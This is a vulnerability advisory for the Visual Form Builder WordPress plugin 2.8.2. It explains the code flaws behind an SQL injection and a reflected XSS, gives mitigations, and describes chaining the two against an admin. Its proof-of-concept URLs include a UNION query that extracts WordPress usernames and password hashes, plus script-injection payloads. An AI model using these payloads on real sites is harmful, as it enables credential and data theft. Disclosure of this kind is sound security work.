- Vulnerability: SQL Injection & Reflected XSS
- Affected Software: Visual Form Builder (WordPress Plugin)
- Affected Version: 2.8.2 (probably also prior versions)
- Patched Version: 2.8.3
- Risk: High
- Vendor Contacted: 2015-05-06
- Vendor Fix: 2015-05-09
- Public Disclosure: 2015-05-15
The current version (v2.8.2) of the WordPress plugin Visual Form Builder is vulnerable to reflected XSS as well as SQL injection attacks.
The damage each attack on it’s own can achieve is limited. The SQL injection can lead to data leaks, and possibly priviledge escalation or code execution, but an admin login is required. And as WordPress secures it’s relevant cookies, it’s not possible to gain a login via XSS, it is only possibly to eg display the login page and hope that the admin enters their password or inject a JavaScript keylogger; both mean that an admin doesn’t just have to visit a website, but also has to additionally enter their password somewhere. With XSS, it is also possibly to bypass CSRF, so an attacker could eg change PHP scripts if DISALLOW_FILE_EDIT is false, which hopefully is not the case.
Combined, these attacks get interesting: Via XSS it is possible to let the admin execute the SQL injection, and then send the results to the attacker. The admin only has to click on a link once, and does not have to perform any further actions.
SQL injection
Risk
High; any user with access to this plugin can retrieve any data from the database that the WordPress database user has access to; in combination with the XSS below, the attacker could also get the admin to execute these queries for them.
POC
localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&form-filter=1+or+1%3D2
localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&form-filter=1+or+1%3D1
This is a very basic SQL injection, so it is possibly to directly extract any data the db user has access to:
localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&form-filter=1+order+by+2+%23
localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&form-filter=1+union+all+select+1%2C2+%23
localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&form-filter=1+union+all+select+version()%2C2+%23
localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&form-filter=1+union+all+select+user_login,user_pass+from+wp_users %23
Code
The function current_filter_action() returns user input:
class-entries-detail.php:447
function current_filter_action() {
if ( isset( $_REQUEST['form-filter'] ) && -1 !=
$_REQUEST['form-filter'] )
return $_REQUEST['form-filter'];
return false;
}
Which is then used in two locations directly inside SQL queries, without any sanitation:
class-entries-detail.php:550
if ( $this->current_filter_action() )
$where .= 'AND form_id = ' . $this->current_filter_action();
[...]
$total_items = $wpdb->get_var( "SELECT COUNT(*) FROM
$this->entries_table_name AS entries WHERE 1=1 $where" );
and
class-entries-detail.php:130
function get_entries( $orderby = 'date', $order = 'ASC', $per_page,
$offset = 0, $search = '' ){
[...]
if ( $this->current_filter_action() )
$where .= 'AND forms.form_id = ' . $this->current_filter_action();
[...]
$cols = $wpdb->get_results( "SELECT forms.form_title,
entries.entries_id, entries.form_id, entries.subject,
entries.sender_name, entries.sender_email, entries.emails_to,
entries.date_submitted, entries.ip_address FROM $this->form_table_name
AS forms INNER JOIN $this->entries_table_name AS entries ON
entries.form_id = forms.form_id WHERE 1=1 $where $search ORDER BY
$sql_order LIMIT $per_page $offset" );
Mitigation
At the very least, $wpdb->prepare
should be used.
XSS
Risk
Medium; Arbitrary JavaScript execution when victim clicks on link.
POC
There are reflected XSS attacks in at least two places:
localhost/wordpress/wp-admin/admin.php?page=visual-form-builder&s=<script>alert(1)</script>
localhost/wordpress/wp-admin/admin.php?page=vfb-entries&s=<script>alert(1)<script>
Code
visual-form-builder.php:1617 and 1794
if ( isset( $_REQUEST['s'] ) && !empty( $_REQUEST['s'] ) )
echo '<span class="subtitle">' . sprintf( __( 'Search results for
"%s"' , 'visual-form-builder' ), $_REQUEST['s'] );
Mitigation
Using htmlentities or the appropriate WordPresses functions around user input before echoing it.